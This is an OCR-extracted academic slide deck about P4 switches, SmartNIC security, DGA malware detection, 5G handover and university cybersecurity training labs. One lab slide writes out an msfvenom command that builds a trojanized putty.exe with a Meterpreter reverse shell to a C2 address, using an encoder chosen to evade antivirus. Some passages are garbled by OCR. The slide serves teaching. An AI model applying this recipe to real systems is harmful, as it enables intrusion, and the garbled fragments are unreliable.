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P4 Programmable Switches

* P4 programmable switches permit programmers to program the data plane

Packet forwarding speeds
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Offloading Encrypted C2 Traffic Mitigation to
SmartNICs
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Abstract—As command and control (C2) traffic increasingly  efficiency while reducing the computational burden on the
adopts the Transport Layer Security (TLS) protocol, traditional  host system. SmartNICs, with their built-in processing power,
ﬁ::)c“'::“m?;::t‘:‘: ll;elaclzlneorl.ea‘:\elzg l::;\?l‘fbt c'.';;p:g:'r:“o‘fr?: la' enable efficient data handling at the network edge, allowing

e for faster packet processing and the ability to perform security

P by i ifying encrypted C2 traffic without S 5 A A "
mspectmg payloads. At the same time, modern smart network  functions such as traffic analysis and filtering directly on the

interface cards (smartNICs) provide advanced processing ca- NIC.

?l!lﬂ_‘“'ﬂg 5"»:“"“!’ applications to run directly on the This paper presents a system that leverages smartNICs
his paper i sm'aanCs ‘o o ,a" ML to implement a random forest (RF) classifier for detecting

classifier for encrypted C2 d Data plane o . . i
kit (DPDK) is used to program the smartNIC and implement a encrypted C2 traffic in real time using features from the
TLS handshake phase. The system is designed to operate

random forest (RF) model. The system achieves 99.9% accuracy
on a publicly available dataset while sustaining a 50Gbps efficiently on the ARM cores of the smartNIC, with Data
throughput with minimal processing overhead. Plane Development Kit (DPDK) being used to program the

smartNIC for high-performance packet processing. DPDK
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A Survey on Security Applications with SmartNICs: Taxonomy,
Implementations, Challenges, and Future Trends
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ABSTRACT

Over the I:m decade, network have grown high-speed intercon-
nects. { chip are ing the upper limits of silicon-based computing
with slow i in i and encrgy effciency. This trend has forced the
industry to shift paradigms, moving from monolithic architectures to

dekigns. Moreover, [ evercevolying: theests comprosmise)digital services: il demand more;scalabie
and flexible solutions to ensure service continuity in production networks. Smart Network Interface
Cards (SmartNICs) are a product of this new paradigm, integrating domain-specific engines and general-
purpose cores to offload various network infrastructure tasks, including those related to security. This
paper provides a comprehensive overview of SmartNICs, with a particular focus on their role in
strengthening network defenses. It introduces SmartNIC technology and presents a taxonomy of security
applications offloaded to SmartNICs, categorized into Intrusion Detection and Prevention Systems
(IDS/IPS), defenses against volumetric s, and data confidentiality mechanisms. Additionally, the
paper explores vulnerabilities associated with adopting SmartNICs in the cloud, examining the threat
model and reviewing proposed remediations in the literature. Finally, it discusses challenges and future
trends in SmartNIC security applications, highlighting current initiatives and open research areas.
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professionals and research on SmartNICs




Enhancing Data Transfers by Enabling Programmability and
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USC Science DMZ

» The Science DMZ is a network designed for large science data transfers
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USC Science DMZ

» The Science DMZ is a network designed for large science data transfers
« USC Science DMZ has optical taps provide a copy of packets to the P4 switches

NAT, security Border
appliances router
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USC Science DMZ

* P4 apps track connections and compute per-flow statistics, measurements
 Statistics, measurements are used to create/update rules applied to the core switch
« Updated measurements are visualized in the P4-perfSONAR

Actions (knobs)

m Find opt. buffer size
Set queueing policy
Update perfSONAR
measurements

PU
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Enhancing Network Security by Implementing an ML Malware
Detection and Classification Scheme in P4 Programmable Data
Planes and SmartNICs
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Introduction to DGASs

 Attackers often use a Command and Control (C2) server to establish communication
between infected host/s and master

« Domain Generation Algorithms (DGAs) are the de facto dynamic C2 communication
method used by malware, including botnets, ransomware, and many others

Internal network

Internet

(1)

()

Infected host

C2 server /
master

(1) Communication initiated by infected host
(2) Commands from C2 server

12




Introduction to DGASs

» DGAs evade firewall controls by frequently
changing the domain name of the C2
server by selecting it from a large pool of
domain name candidates

The malware makes DNS queries to
resolve the IP addresses of these
generated domains

Only a few of these queries will be
successful; most of them will result in
Non-Existent Domain (NXD) responses

DNS resolver

Malware
infected host

DDNSquery DDNSNXDrepIy DDNSrepIyw/CZIP
address

(1) DNS queries. (2) (NXD) replies. (3) Eventually, a query
for the actual domain is sent and malware-C2 communication
starts.

13




Introduction to DGASs

* DGAs evade firewall controls by frequently
changing the domain name of the C2
server by selecting it from a large pool of
domain name candidates

The malware makes DNS queries to
resolve the IP addresses of these
generated domains

Only a few of these queries will be
successful; most of them will result in
Non-Existent Domain (NXD) responses

J

Random domains

— bknllsnbfzqr.net————>
cdzogoexis.tv—>
hdozpcy . com >

salt-amount-pattern.com—>»
company-depend . com >
hdozpcy . com >

Genuine English words

J

Permutation of English
words

getadobeflashplayer.net—»
egtadobeflashplayer.net—»

etadobgeflashplayer.net—»

DGA-based malware

Open DNS resolvers
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Proposed System

» The system uses P4 programmable data plane switches to process packets at line rate
» Runs customized parser, collects fine-grained measurements, performs domain name analysis, detects

and classifies malware

Programmable data plane

Customized Parser Traffic Pattern Analysis Domain Name Analysis Detection/Classification Customized Deparser

O #1Ps contacted/host | | @ n-gram domain O Emit Ethernet, IP, Packet

Packet OParse Ethernet, IP,
TCP/UDP O # DNS requests/host name M TCP/UDP headers
D ~”| @Parse DNS messages | |E # NXDreplies/host D # of sub-domains B Attach DNS message | | D
D parse domain name | |2 NXDinter-arrival time| | @ Other domain M (ML il
features M B

———————— Programmable match-action pipeline ——————— Programmable deparser

Programmable parser
M: Malware B: Benign

Malware
infected host NG DNS resolver

External network

Internal network
15
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Proposed System

» The switch collects and stores traffic features (Traffic Pattern Analysis)
» Number of IP addresses contacted, number of DNS requests made, Inter-arrival Time (IAT) between consecutive IP
packets, time it takes for the first NXD response to arrive, IAT between subsequent NXD responses

Programmable data plane
Customized Parser Traffic Pattern Analysis [Domain Name Analysis Detection/Classification Customized Deparser
Packet D Parse Ethernet, IP, O # IPs contacted/host || @ n-gram domain O Emit Ethernet, IP, Packet
TCP/UDP O # DNS requests/host name M TCP/UDP headers
D 1> BParse DNS messages | |2 # NXDreplies/host || @ # of sub-domains B Attach DNS message| |~ D
D parse domain name | | B NXD inter-arrival time| | @ Other domain M to L1-4 headers
features M B
Programmable parser ~———————— Programmable match-action pipeline —————— Programmable deparser
M:Malware B: Benign
Malware
DNSresolver

infected host

ey

Internal network External network
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Proposed System

 When an NXD is received, the switch extracts domain features (Domain Name Analysis)

» Compute n-gram, evaluate randomness of the domain name, compute number of sub-domains

Programmable data plane

Customized Parser Traffic Pattern Analysis [Domain Name Analysis |Detection/Classification Customized Deparser
Packet | | DParse Ethernet, IP, | |B#IPscontacted/host ||| @ n-gram domain D Emit Ethernet, IP, Packet
TCP/UDP O # DNS requests/host name M TCP/UDP headers
D ™| @Parse DNS messages | |B # NXDreplies/host ||| @ # of sub-domains B Attach DNS message| |~ D
D parse domain name | |B NXD inter-arrival timel| | @ Other domain M to L1-4 headers
features M B

Programmable parser ~———————— Programmable match-action pipeline —————— Programmable deparser
M:Malware B: Benign

Malware
infected host DNS resolver

ey

Internal network External network
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Proposed System

» Detection of malware is performed

plane

NXD responT l

Programmable data plane

Intelligence

at the data plane, and classification at the control

|- Receive stateful information from the

switch

- Run ML classifier to profile DGA families

Action based on exploit

Packet

0

Customized Parser

Traffic Pattern Analysis Domain Name Analysis

Detection/Classification|

Customized Deparser

OParse Ethernet, IP,
TCP/UDP

Bparse DNS messages

Bparse domain name

@ # IPs contacted/host
O # DNS requests/host
O #NXD replies/host

B NXD inter-arrival time

@ n-gram domain
name

O # of sub-domains

O Other domain
features

M
M
M B

O Emit Ethernet, IP,
TCP/UDP headers

B Attach DNS message
to L1-4 headers

Programmable parser

———————— Programmable match-action pipeline ——————— Programmable deparser

Packet

d.

Malware
infected host

M:

Malware B: Benign

DNS resolver

Internal network

External network
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Proposed System

* Running Random Forest in the data plane is constrained to:
» Limited amount of (1) memory; (2) stages; and (3) mathematical operations

Naive RF implementation in the switch Optimized RF implementation?; feasible with our system

Table for each Table for the tree

feature
1
Table: Level 3
| HENES B
For every tree: each level requires a table Cod(’e Label
[0-1] 0 0 [0-3] 0 €1CC;
*00 b
[2-5] 1 0 [4-.] 1
*
61 1 1 o [m
1A. T.-J. Akem, M. Gucciardo, M. Fiore, et al., “Flowrest: Practical FlowLevel Inference in Programmable Switches with Random Forests”, IEEE International 19

Conference on Computer Communications, 2023.




Evaluation Results: Accuracy

» Detection in the data plane (P4-DGAD) is limited to the hardware

» Features used: # unique IPs contacted, # DNS requests, inter-arrival time between NXDs, and
bigram frequency

» Detect in the control plane (DGAD) is more flexible
» All context-aware and context-less features can be used

» Different classifiers can be tested

Approach Accuracy with respect to the number of NXD responses received
2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 20 | 30 | 40 | 50

P4-DGAD 0918 | 0.927 | 0933 | 0933 | 0935 | 0942 | 0.944 | 0960 | 0971 | 0973 | 0.977
0.994 | 0.995 | 0996 | 0.997 | 0997 | 0.996 | 0.997 | 0.998 | 0.998 | 0.998 | 0.999
0961 | 0.963 | 0972 | 0.964 | 0.966 | 0.960 | 0.969 | 0.964 | 0.972 | 0.976 | 0.979
0993 | 099 | 0994 | 0995 | 0994 | 0.996 | 0.996 | 0996 | 0.997 | 0.997 | 0.998
0.94 | 0943 | 0955 | 0960 | 0957 | 0.955 | 0.955 | 0955 | 0.960 | 0.957 | 0.957
0969 | 0.968 | 0967 | 0972 | 0967 | 0972 | 0.970 | 0977 | 0.977 | 0971 | 0.973

Detection

SVM stands for Support Vector Machine
MLP stands for Multi-layer Perceptron
GNB stands for Gaussian Naive Bayes
LR stands for Logistic Regression

UNIVERSITY OF

8 South Carolina




Improving Performance on 5G Networks
with P4 Programmable Switches

Department of Defense




Motivation

« The performance of a mmWave (30-300 GHz) connection degrades upon blockage

« Solutions rely on handover connections from the current (blocked) access point to an
alternative (non-blocked) access point

« Upon blockage, the inter-arrival time (IAT) of the packets increases by multiple folds

* The increase in the IAT provides an indication of the blockage

250
200
150

IAT [ms]

100
50
0

b —— 0 {— 1 ]
2 ey o .
- | | ] E “5 B
5 10 15 5 10 15
Time [s] Time [s]
No blockage Blockage occurred at t=7

1500

1000

500
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Proposed System

» The system leverages programmable switches to monitor the inter-arrival time (I1AT) of

the packets

» Using the measurements, the programmable switch detects the blockage and then

notifies the end user to handover

* The system was implemented and tested on a Tofino hardware switch and off-the-shelf

mmWave-compatible devices

Server

N5
3

P4
Switch

=

SSID: |

() ess1
( E)

uAPln ‘\\\\\\ @
mmWave e
Access Point

SSID: Service Set ID
BSS: Basic Service Set
@ :Traffic rerouted to AP2

_______________________ SSID:
L — ‘AP2"
R mmWave
Access Point
UE
..... : Flow of data x: Blockage
—: Direct link (1): Blockage occurred
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Proposed System
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Results: Recovery Speed

* In clear LOS, the average IAT is 7
microseconds (us)

 93.3% of IATs are less than 1 us

* The recovery speed from blockage
was evaluated

« The line of sight (LOS) was
blocked for 2 seconds

« The proposed system required
around 160 milliseconds to fully
recover from the blockage

Throughput [Mbps]

1000

1000}

1000

500}

500}

500}

VW vV—V V [ V
[ —— Proposed system
L ! : !
Throug‘hput—based
system1
V N
—— RSSI-based systerﬁ
o 2 4 6 8 10

Time [s]
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Collaborative Research: Cyber-Con2: Multi-sector Convergence
to Advance the Preparation of Learners for OT and IT
Cybersecurity Convergence Workforce

NSF Advanced Technological Education Program
Award 2400729




USC'’s Cloud

« USC'’s cloud is a purpose-built cloud for teaching, training, and research
* It is supported by the NSF Cybertraining program

» seeks to prepare and grow the national workforce supporting research

netlab.cec.sc.edu

& Usemname

@

Reservations

Date/Time Description Pod

318 £ 2022-10-1417:27 Class: PDP with P4 - ASU Fall 2022 Tofino_H2_pod4

& Password

Cyberinfrastructure
Lab @ UofSC

»
»

£ 2022-10-14 18:00 Lab: Lab 2: Introduction to P4 Tofino Software Development @ ®
© 22 mins. Environment (SDE)

Enter Lab © <Jype: Instructor

.
)
v
)
O v # Home Pod v Reservation ~ & jerichigno -
i

*%* NETLAB: CONNECTING
*%* NETLAB: CONNECTED

root@tofino-switch:~/P4 labs/labl/pdsrc# I

Oli Status [RERIVTIC MM O PC1 v OPC2 v O Tofino Model ~

T2 H2

,/"E?%‘H
HL A __— mal .1 T
gfﬂﬂ ethg
10 172.168.1.0/24 B
mail
2 2

ethy ——__ maty2 L3 e

— _——
\"‘%‘ﬂ/‘

Tofino Switch
192.168.0.0/24

Management Network

18 > Lab 2: Introduction to P4 Tofino Software Development Environment (SDE) Time Remaining
0 M
Tofino Switch ~ D PC1 » DPC2 = O Tofino Model = -
Tofino Model
10.0.0.0/24
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USC'’s Cloud

* Hosts 1-N store virtual machines (VMs) for virtual labs
« Management server runs the scheduler, resource management application

* (1) A learner schedules lab time; (2) the system orchestrates and deploy the

pod with pristine images

Host 1 Host 2 Host N Mgmt
- |||[Pod z][Pod 1]... | ||Pod 1|[Pod1]... || Pod1|[Pod1]... | Scheduler
_ g
S £4|||Pod2][Pod2] ... | |[Pod2]{Pod2|... | |[Pod2|{Pod2]... || [esource mgmt
S
g |Pod3||Pod3|... |Pod3||Pod3|... |Pod3||Pod3|...

Hypervisor Hypervisor Hypervisor Hypervisor
=5 S Sy Sy -~
22|k > .
gg \s,m N ’\,@ \%& \3 @] ‘:‘?3 @] N g

1

i

1

i

| Orchestration system + front-end (portal system or LMS (Canvas, Blackboard))

Labs libraries Hardware
[_]osPF White-box switch
[ Jnroopra [ cru
[ ]sbN Nn RAM
[ Jovs &# Storage
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Libraries

A library consists of between 10-20

lab experiments

 Each
detailed,
manual

experiment includes

guided

0= |

Guided virtual lab
experiment

Reading — electronic
book / booklet

Quiz — multiple
choice

Exercise —implement
a solution

T
Companion items to guided virtual lab experiment

a

step-by-step

3 Running tests on remote perfSONAR nodes

In this lab section, the user will utilize pScheduler commands to execute both throughput
and latency tests. The tests will be initiated and submitted from the perfSONAR1 node
(10.0.1.10), while the measurements themselves will take place between the perfSONAR2
(10.0.2.10) and perfSONAR3 (10.0.3.10) nodes.

Step 1. Hold the right click on perfSONAR1 and select Terminal. The perfSONAR1 CLI will
emerge.

MiniEdit

File Edit Run Help

L

L] L

)

C|

¥ @ @ @
2 n 2| 3

|/

L

Docker Options ‘

perfSONAF perfSONAR3

Figure 8. Opening perfSONAR1 CLI.

Step 2. In perfSONAR1 terminal, type [acl and press Enter to enable the CLI.
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Libraries

Information about lab libraries is available at https://research.cec.sc.edu/cyberinfra/cybertraining

Programmable data plane devices
1. P4-DPDK Security
2. Introduction to P4-DPDK

3. Cybersecurity Applications with P4 Programmable Data
Planes

4. P4 Programmable Data Planes: Applications, Stateful
Elements, Custom Packet Processing

5. Introduction to P4 Programmable Data Plane Switches

6. Introduction to P4 Programmable Data Plane Switches with
Intel's Tofino

7. P4 Monitoring Applications

,,,,,

H

' High-Speed

ES

ATutorial

https://hiqhspeednetwrks.net/

Legacy Protocols

8. Software-defined Networking (SDN)
9. Open vSwitch

10. Network Tools and Protocols

11. Introduction to IPv6

12. Open Shortest Path First (OSPF)
13. Introduction to BGP

14. MPLS and Advanced BGP

Cybersecurity, Management, and Science DMZs
15. Zeek IDS/IPS

16. Cybersecurity Fundamentals

17. perfSONAR 5

18. P4-perfSONAR

19. Network Management Tools

20. High-speed Networks: A Tutorial

30



https://research.cec.sc.edu/cyberinfra/cybertraining
https://highspeednetworks.net/

Libraries

Information about lab libraries is available at https://research.cec.sc.edu/cyberinfra/cybertraining

OT Cybersecurity (To be developed) IT Cybersecurity (To be developed)

1. Intro to OT /ICS Cybersecurity S.

2. ICS Protocols
3. Adv. Cybersecurity for OT / ICS
4. Water Quality (WQ) Critical Infrastructure Models

© o0 N o

Intro to networks

Cybersecurity Operations

Practical Open-source Intelligence

Threat Detection with Next-generation Firewalls

Cloud Security Automation

31



https://research.cec.sc.edu/cyberinfra/cybertraining

Activities

Activity
A | Academic courses (16-week —
formal, supervised)

Community
Colleges in  the
Carolinas

Subject / Libraries
All college-level libraries, see Tables 2,
3.

Support Type
(1) Access to Academic Cloud; (2)
Train instructors (train-the-trainer).

B | High school courses, 16+16-
(formal, supervised)

High schools in the
Carolinas

Infro to OT/ICS Cybersecurity, see
Table 2 (library 1).

Intro to IT Cybersecurity and Intro to IT
Networks, see Table 3 (libraries 6, 7).

(1) Access to Academic Cloud; (2)
Train instructors (train-the-trainer).

C | Third party academic courses
(formal, unsupervised)

Other high schools,
colleges, and
universities

All libraries.

(1) Access to the Academic Cloud
(unsupervised); (2) Train instructors
(train-the-trainer).

D | Train-the-trainer courses
(formal, supervised)

CSSIA, WASTC,
SCC

All libraries.

(1) Access to Academic Cloud; (2)
Train instructors (train-the-trainer).

E | ICS courses (informal, | ICS COP All OT / CCS cybersecurity libraries, | (1) Access to Academic Cloud; (2)
unsupervised) see Table 2. Train instructors (train-the-trainer).

F | IT tutorials (informal, | Internet2 and CELL | All college-level IT cybersecurity | (1) Access to Academic Cloud; (2)
unsupervised) COPs libraries, see Table 3 (libraries 7-15). Training tutorials.

G | Self-paced learning  and

CIARB, U.S. National

All college-level libraries, see Tables 2

(1) Access to the Academic Cloud;

unsupervised)

(smart NICs and P4 programmable
switches), see Table 3 (libraries 14, 15)

training courses for military- | Guard, NIWC and 3 (libraries 2-5, 7-15). (2) Courses to frain military
connected personnel instructors (train-the-trainer).
(informal, unsupervised)

H | FABRIC tutorials (informal, | FABRIC COP Advanced programmable networks | (1) Access to Academic Cloud; (2)

Co-located training futorials fo
FABRIC community events.

I | Cybersecurity Competitions:
DOE’s CyberForce and SC’s
PCDC (informal,
unsupervised)

High schools and
colleges in  the
Carolinas

Libraries 1-2 for DOE’s CyberForce
Competition (see Table 2), and libraries
6-8 for PCDC (see Table 3).

(1) Access to Academic Cloud to
high-school and college instructors
and their students, participating in
the competitions.
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USC'’s Local Usage

14,000 12,573
12,000

10,000

8,000 6,538
5,241 5,318

6,000 4,48

4,000

Laboratory Experiments

2,000 59

0
2017 2018 2019 2020 2021 2022 2023 2024 2025

Year

34




Academic Cloud

« The Academic Cloud is a cloud system with datacenters in South Carolina,

North Carolina, lllinois, and Idaho
* |t is supported by NSF ATE, ONR

Impact, distributed cloud system

# Lab Experiments # Users
2020 242,826 314,976
2021 225,571 304,722
2022 245,730 263,305
2023 268,770 249,153
2024 260,001 216,370
Total: 1,242,898 1,348,526

Portal system or LMS (Canvas,
Blackboard) via a regular browser

Internet o7
v fhoodle

Blackboard

Pod for

Pod request /
update via LTI

~ vlab

On demand pod
creation from sites

Learner

i -_og.__«
Real-time pod .
visualization

update via LTI

’
|

o Data center location

vlabs

Routin
catalog g

Sites’ Registra-
mgmt tion

Cloud
engine
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Dissemination On-premise Clouds
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CyberTraining on Accelerating Infrastructure Workloads using
Next-Generation SmartNICs/DPUs

NSF Cybertraining Program
Award 2417823




Cybertraining on SmartNICs

« SmartNICs are systems that have their own Operating System (OS), on-chip
memory, general-purpose CPU cores, and programmable Domain-Specific

Accelerators (DSAS)

Packet buffer Compute engines

_TTITTTT] ]
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-..'I -..'I -..'I ...1
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P4 pipeline Crypto
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Cybertraining on SmartNICs

* This project has developed virtual labs on SmartNICs and related technologies

* In cooperation with the FABRIC and Internet2, the project has enabled students
and practitioners to acquire knowledge and conduct applied research on

FABRIC and USC Cloud

FABRIC

Slice visualization,
vlLab manuals

Iy
=

FABRIC Portal

"~ Jupyterhub

Learner
Pod visualization,

vLabs manuals

Academic Cloud Portal

LTI

Academic cloud

FABRIC
testbed

Cloud
engine

A

vLabs
catalog

Routing

Sites’
mgmt

Registration
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FABRIC Testbed

 FABRIC is an NSF-funded international infrastructure for at-scale experimentation
and research

» Areas include networking, cyber, distributed computing, storage, 5G, ML, etc.

« Equipment is located at commercial collocation spaces, U.S. national labs, and
campuses — 29 FABRIC sites

Seattle __———University of Amsterdam
. e Ta o == =" Umiersity of Bristol
////%ve city Startight y ., vg / ERPN
............ ) P M yansas cltyP< //’(
ot é Prln%elon University /‘I’/nkyo / \7/” wa;i nnnnn
& ol
--------- - UMich  Rutgers /UM 7 eamgetes
Sa". . Clty .......... ?PN EDC .... P ///////// Dallas \
vl = o o @ W 3 2
lii NCSA @ EDUKY tii llew York HAWL
R KanSasCity ® Y e i
777777777777 y UKY Washington
&= S : ogl%x
= RENCI
GaTéach ®
% e . il Elemson
Los Angeles TAGC =1
[) ) Atlanta
ucsb lii
L=l
Dallas
alii
L=l
FIU
@ International Nodes ~ —international Links
® U.S. FABRIC Nodes 100G Core Terabit Core
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USC’s Academic Cloud

 We will install additional servers and SmartNICs on NETLAB

Host 1

Host 2

Host n Mgmt

|Pod2I|Pod2|

Virtual

|Pod1||Pod1|---
|Pod2||Pod2|

|Pod 1 IIPod 1 I
vCenter
|Pod 2I| Pod 2 I

environment

|Pod3I|Pod3|

Underlying
hardware

| 'ir
_g

|Pod3I|Pod3|---

|Pod 3 || Pod 3| NETLAB+

1. Network Development Group (NDG). Online: https://netdevgroup.com

vLabs libraries Hardware
|:| P4 BMv2 ‘o Tofino-based switch

[JpaTofine [ cpu
[]son \ RAM
[ lovs &7 Storage

= SRR

SmartNICs
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https://netdevgroup.com/

Preparing Cyber Warfare Professionals by Integration of
Curriculum, Experiences, and Internships

Office of Naval Research — STEM




ONR Project

» Objective 1: Expand the Academic Cloud to support large-scale learning and research

nationwide
» The project develops virtual labs on C4ISR topics

» The project is deploying virtual labs for DoD’s 8570 baseline certificates?!
Information Assurance Technical (IAT), Cybersecurity Service Provider (CSSP), CSSP Incident Responder, Certified Support

Technician Cybersecurity

Cybersecurity courses with content for DoD’s Approved 8750 baseline certifications

CSSP CSSP Incident

Course AT 1-2 Pl
Intro to Computer Security
Cybersecurity Operations v
Intro to Networks v v
IT Security for Managers
Advanced Net. and Sec. v v

Responder

v
v

v

Security Plus

v

NICE Framework
Objectives

v

NURNIENIRN

NICE stands for National Initiative for Cybersecurity Education
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= = = v [ NetLaB- x  + = O
© Not secure  hitps://10.173.78.50/lab-content.cgi?res_id=31355&ex_id=JGOMEZ_0050_S56AE_2F47_6305_5037_0004
< C  © Notsecure hittps;//10.173.78.50/lab.cgi g e O O @  NewChomeavailsble
Gmail @B YouTube @ Maps [l] Special Topicsin Int.. B Transiate ] rout  ewel Build a Fast Networ. » [ All Bookmarks

] Lab_4_Collecting_Information_with_Sp... 10 /33 6 : UNIVERSITY OF

SOU"" CMO[IN/\ # Home Reservation v & ekfoury ~

MyNETLAB > CyberSec_H1_12004 > Reservation 31355 > Lab 4: Collecting Information with Spyware: Screen Captures and

e [= =8¢} specifies the architecture of the target victim, which is in this case.
- po b o Keyloggers
e [-platform windows| specifies the platform of the target victim (e.g., Linux,

Android, Apple iOS, etc.). Since the victim is using a Windows 10 machine, the Time Remaining

CLLIGE & Content v o2 Status O Victim ~ O BR/FW ~ O Attacker ~ 3 Web server ~
specified platform is fiindows). 2 53
e [x putty.exe] specifies an executable file to attach the malicious payload to. ELDNSserver = || L1 Mail sereer = hes. | min.
We will use putty], a popular program that allows the user to configure machines

via SSH and Telnet. Note that this program could be of any type (e.g., Notepad++, Internal network
Word application).

e [k preserves the template behavior (putty.exe) and injects the payload @
(reverse_tcp) as a new thread. .10 \

® [p windows/meterpreter/reverse tcg specifies the payload to use, which is

S
Attacker

in this case a reverse_tcp session. Victim
e [LHOST=216.0.0.10} specifies the IP address through which the attacker will 192.168.0.0/24 216.0.0.0/16

listen for reverse_tcp session connections. This is the IP address of the C2 server.

e [LPORT=4444} specifies the port number through which the attacker will listen for
a reverse_tcp session connections. This is the port number of the C2 server.

e [-e x86/shikata ga nai| specifies the shellcode encoder to use (e.g., x64/xor,
cmd/perl, etc.). We are using the encoder which uses a
polymorphic XOR additive feedback to ensure that the output is different every
time. This helps evading some weak Antivirus and Antimalware products.

3] specify the number of times to encode the payload.

e [ “\x007 specify the characters to avoid (i.e., bad characters). These are
characters known to make the shell or application crash.

e [E£ exel specify the output format (windows executable). Web DNS Mail
e [Fo puttyX.exel: save the payload to a file named puttyX.exe. server server server

172.16.0.0/16
msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse tcp LHOST=216.0.0.10 LPORT=4444 -e
x86/shikata_ga nai -i 3 -b “\x00” -f exe -o puttyX.exe

Demo Cybersecurity Fundamentals, Lab 4: Collecting Information with Spyware 44




ONR Project

Objective 2: Advance formal and informal cyber communities and connect
relevant organizations

Audience Activity Learning Setting Partners Subject Outcome
ROTC cadets and | g. Six 16-week
midshipman at academic courses ROTC graduates (BSc)
USC, UTSA, embedded in Courses in CS, CI, | ROTC programs at with MOS, DoD
SCSuU academic programs | and IT that will USC, UTSA, SCSU Cybersecurity, credentials
Veterans at USC, | at USC, SCSU, include virtual Veteran Center at warfare, Veterans with MOS, DoD
UTSA, SCSC UTSA (formal labs on topics USC, UTSA, SCSU networks, credentials
learning); relevant to the CS, CI, IT, Math, communications,
STEM students at DoN and DoD Engr. programs virtualization
USC, UTSA, b. 12-week C4ISR interested in a minor in STEM graduates with
SCSU research experience cybers, IT, and topics skills relevant to DoN /
(formal learning) relevant to DoN / DoD DoD
Advanced
EPOC / ESnet, communications, | IT professionals with
CELL and ¢. Workshops Workshops + self- | Research and networks, skills on advanced
Internet2 COPs (informal learning) paced learning Education Networks warfare technologies
d. Self-paced Self-paced; IT professionals, National
Open to learners learning (informal potential Communications, | Guard personnel at all
interested in intro., | learning) for periodical meeting cybersecurity, levels, workforce with
inter-mediate, and - National Guard for general networks, advanced skills, MOS,
advanced IT - General Public discussion National Guard, NDG virtualization certificate credentials
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ONR Project

Objective 3: Develop a multi-state internship program, leveraging and
strengthening the Naval Research Enterprise Internship Program (NREIP)

Pre-internship

Seminars

Spring and Fall semesters Summer semester
(Monday-Wednesday-Friday) (400 hours)
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ONR Project

Objective 3: Develop a multi-state internship program, leveraging and
strengthening the Naval Research Enterprise Internship Program (NREIP)

>

YV V VYV

76 interns

59 companies / organizations

Companies located in 12 states: SC, NC, FL, VA, GA, MN, RI, NH, MA, PA, MI, DE
Wages reported for 65 students

Wages between $38.50 — $10.00

Average wage was $20.66
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ONR Project

« Graduates are recruited by a variety of employers and agencies that require
cybersecurity experts, including
» Department of Defense
» National Laboratories

» Naval Information Warfare Center (NIWC) Atlantic
» Businesses

Matt Driver

Ty LOV?'Baker _ Cyber Operations Officer | Cyber Security Engineer | Sec
1stlLt at United States Marine Corps

lumbia, t rolina, Unit tates i
Washington, District of Columbia, United States - Contact info Columbia, Soutly Carolina. United States: Contact info
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ONR Project

« Graduates are recruited by a variety of employers and agencies that require
cybersecurity experts, including
» Department of Defense
> National Laboratories

» Naval Information Warfare Center (NIWC) Atlantic
» Businesses

| 4

Anaia Prather ©ne/ten Dillon B. tHe/tim)
Chief of Staff at U.S. Department of State Security Analyst Intern
Washington, District of Columbia, United States - Contact info United States - Contact info
519 followers - 467 connections 155 connections
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ONR Project

« Graduates are recruited by a variety of employers and agencies that require
cybersecurity experts, including

» Department of Defense
> National Laboratories

» Naval Information Warfare Center (NIWC) Atlantic
» Businesses

Gabriella Pinto @ Jack Sadle

Cybersecurity Consultant at Palo Alto Networks 25A S'gnal Officer, US Army Reserve
New York City Metropolitan Area - Contact info Greater A Jgusta Area - Contact info
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